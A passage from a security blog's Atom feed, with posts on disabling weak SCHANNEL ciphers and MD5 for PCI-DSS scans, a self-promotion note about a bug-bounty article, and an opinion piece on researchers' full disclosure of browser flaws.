Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\RC2 128/128 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;4.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\RC4 64/128 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;5.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\RC4 56/128 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;6.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\RC2 56/128 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;7.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\RC4 40/128 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;8.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\RC2 40/128 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;9.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\NULL &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 1.5in; mso-add-space: auto; mso-list: l2 level3 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;iii.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Add a DWORD value called “Enabled”, set to 0xffffffff to the following keys:&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;1.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\DES 56/56 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;2.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\Ciphers\Triple DES 168/168 &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;3.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;SCHANNEL\KeyExchangeAlgorithms\PKCS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 1.5in; mso-add-space: auto; mso-list: l2 level3 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;iv.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-family: Verdana, sans-serif; font-size: 8.5pt;"&gt;Enforce the use of SHA hashes instead of MD5&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;1.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Add a DWORD value called “Enabled”, set to 0x000000, to SCHANNEL\Hashes\MD5&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="line-height: 18.0pt; margin-left: 2.0in; mso-add-space: auto; mso-list: l2 level4 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-indent: -.25in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;2.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;Add a DWORD value called “Enabled”, set to 0xffffffff, to SCHANNEL\Hashes\SHA&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="line-height: 18.0pt; margin-left: 1.5in; mso-add-space: auto; mso-list: l2 level3 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-text-indent-alt: -9.0pt; text-indent: -1.5in;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;v.&lt;span style="font: 7.0pt &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;!--[endif]--&gt;A reboot of the Machine is now required for the changes to take effect.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin-left: 1.0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="color: #3d85c6;"&gt;These two little things can save you a huge amount of work if you implement them.&amp;nbsp; When you go to run a PCI-DSS mandated vulnerability scan, these items will trip you up if you’re not careful. Get them implemented early; have them set as a standard, and save yourself a lot of headache.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-8294140873550278272?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/8294140873550278272/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/01/two-must-haves-for-pci-dss.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8294140873550278272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8294140873550278272'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/01/two-must-haves-for-pci-dss.html' title='Two must haves for PCI-DSS'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6218299418196974508</id><published>2011-01-14T10:36:00.000-08:00</published><updated>2011-01-14T10:36:17.033-08:00</updated><title type='text'>Shameless Self Promotion</title><content type='html'>A little bit of shameless self-promotion. The good folks over at TechJournal South saw fit to publish an article by yours truly. The article is a counter-point to some of the nonsense being talked about bug bounties. Check out the first part of it&amp;nbsp;&lt;a href="http://www.techjournalsouth.com/2011/01/bug-bounties-it%E2%80%99s-a-matter-of-business-risk/"&gt;here.&lt;/a&gt;&amp;nbsp;Stay tuned for part two next week. Special thanks to the good people at Tech Journal South for giving me this opportunity. I ope to get a chance to work with them again in the future.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6218299418196974508?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6218299418196974508/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/01/shameless-self-promotion.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6218299418196974508'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6218299418196974508'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/01/shameless-self-promotion.html' title='Shameless Self Promotion'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-8365303226300169248</id><published>2011-01-03T12:29:00.000-08:00</published><updated>2011-01-03T12:29:23.069-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tavis Ormandy'/><category scheme='http://www.blogger.com/atom/ns#' term='Michal Zalewski'/><category scheme='http://www.blogger.com/atom/ns#' term='Full Disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='fuzzer'/><title type='text'>Security Researchers: Heroes or Vigilantes?</title><content type='html'>&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;This is a touchy subject, especially for me. It is, however, one that I feel needs to be discussed.&amp;nbsp;&lt;a href="http://lcamtuf.coredump.cx/"&gt;Michal&lt;/a&gt;&amp;nbsp;&lt;a href="http://lcamtuf.blogspot.com/"&gt;Zalewski&lt;/a&gt;&amp;nbsp;just put out an amazing&amp;nbsp;&lt;a href="http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html"&gt;announcement&lt;/a&gt;&amp;nbsp;this weekend. He has created a new DOM fuzzer for testing Web Browsers, and has unsurprisingly turned up some interesting results. My first reaction to this is of course "Zalewski is the man!". I think this for a couple of reasons. Firstly, for creating this fuzzer. Secondly for tracking the flaws through the complex space of web browser. And finally for releasing the tool for the rest of us wannabes to get our grubby little hands on.&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;It has taken very little time for the&amp;nbsp;criticism&amp;nbsp;to start&amp;nbsp;&lt;a href="http://www.techeye.net/security/google-exposes-security-bugs-in-rival-browsers"&gt;trolling&lt;/a&gt;...*ahem* rolling in. I want to take a moment to discuss this article before we move on. The authour posits that it is 'suspicious' that the posting mentions webkit browsers without explicitly stating that this includes Safari and Chrome. The implication is that their is some impropriety on the&amp;nbsp;part&amp;nbsp;of google, trying to downplay it's own weakness. Let's take an alternative view for a second though.&amp;nbsp;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;/div&gt;&lt;table border="1" bordercolor="#000000" cellpadding="4" cellspacing="0"&gt;&lt;colgroup&gt;&lt;col width="128*"&gt;&lt;/col&gt;&lt;col width="128*"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr valign="TOP"&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;u&gt;&lt;b&gt;Browser&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;/td&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;u&gt;&lt;b&gt;Rendering Engine&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Chrome&lt;/div&gt;&lt;/td&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Webkit&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Safari&lt;/div&gt;&lt;/td&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Webkit&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Internet Explorer&lt;/div&gt;&lt;/td&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Trident&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Firefox&lt;/div&gt;&lt;/td&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Gecko&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="TOP"&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Opera&lt;/div&gt;&lt;/td&gt;&lt;td width="50%"&gt;&lt;div style="margin-bottom: 0in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Presto&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;So what we see here, is a breakdown of the popular browsers and the rendering engines used. Internet Explorer, Firefox, and Opera each use their own rendering engines. IE's Trident and Opera's Presto are&amp;nbsp;proprietary&amp;nbsp;systems, while Gecko is open source but is maintained by Mozilla.&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;So why is it fairly honest to say Webkit instead of Safari and Chrome? Chances are that the bug actually resides in the Webkit engine and is thus the&amp;nbsp;responsibility&amp;nbsp;of the Webkit project team to correct. To claim the bug as being a fault of either the Safari or Chrome development teams, in this scenario would be actually less honest and unfair to those development teams. furthermore, msot people who are fans of Safari or Chrome already know that Webkit means their browser of choice. By the reverse of this it does not, however, make sense to specifically call out the other browsers by their rendering engines. Most people would have no idea what you mean if you told them there was a problem with the Trident Rendering Engine. Seeing as how it falls&amp;nbsp;under&amp;nbsp;the purview of the same company, it also does not accomplish anything to&amp;nbsp;make&amp;nbsp;such a distinction. So there is nothing&amp;nbsp;underhanded&amp;nbsp;about Mr. Zalewski saying Webkit instead of Chrome, he's just being factual.&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Where i am really waiting for the other shoe to drop, is from the Microsoft side of things. Microsoft was&amp;nbsp;apparently&amp;nbsp;advised of the issue 6 months ago, and did no follow-up. Zalewski then pinged them again in December, at which point they confirmed the vuln, and asked that he postpone release of the tool indefinitely. Zalewski refused since they failed to provide any good reason as to why they ignored the bug for 6 months. This all comes on the heels of Tavis Ormandy's HCP vuln fiasco. &amp;nbsp;If you're not aware of the PR shit storm that resulted from that, go do some quick Google searches and you'll dig up plenty of&amp;nbsp;vitriol&amp;nbsp;and lots of opinions.&amp;nbsp;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Here's where things get a little fuzzy. Zalewski and Ormandy both refused Microsoft's requests for non-dislosure. Zalewski&amp;nbsp;has&amp;nbsp;not fully disclosed the details of the vuln yet, but has released the tool, so it's probably only a matter of time. I will be&amp;nbsp;interested&amp;nbsp;to see if the same furor starts up again, or if we've gotten over it. The interesting bit comes from the sense of almost vigilantism in this sector. Note that in both of these cases the&amp;nbsp;involved&amp;nbsp;researches released it on&amp;nbsp;their&amp;nbsp;own personal space and time. They are not acting, as far as I can tell, in an official&amp;nbsp;capacity&amp;nbsp;for google in these matters. They are however, making decisions on what to do with tis information, and that gives them a power&amp;nbsp;separate&amp;nbsp;from the entities to whom it most directly applies.&amp;nbsp;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Some people will make the case that this is not a good thing. That security researchers need to be reeled in a bit. Of course, Tavis Ormandy and Michal Zalewski are heroes to me, so i am very biased against this argument. I have to wonder, in fairness, does this argument have some merit? Do Security Researchers have more of an obligation to protect those we seek to help? Or is our obligation, in fact, to truth and the freedom of information? It is a perilous line between, I suspect. we must maintain some degree of&amp;nbsp;professionalism&amp;nbsp;and integrity, otherwise these companies cannot trust us or rely upon us. How do we define the lines of that trust, where do we determine where the trust is being violated by the other side, and what is the appropriate recourse for breaches of this trust? these are probably some of the&amp;nbsp;hardest&amp;nbsp;questions to answer in the information Security field right now.&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;In the meantime, I continue with my assertion that Tavis Ormandy and Michal Zalewski are heroes, and deserving of my respect and admiration. Maybe that's a self-serving viewpoint. I don't have any firm answers.&lt;/div&gt;&lt;div style="margin-bottom: 0.08in; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-8365303226300169248?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/8365303226300169248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2011/01/security-researchers-heroes-or.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8365303226300169248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/8365303226300169248'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2011/01/security-researchers-heroes-or.html' title='Security Researchers: Heroes or Vigilantes?'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-1845716111925305388</id><published>2010-12-28T13:08:00.000-08:00</published><updated>2010-12-29T07:07:18.372-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='captcha'/><title 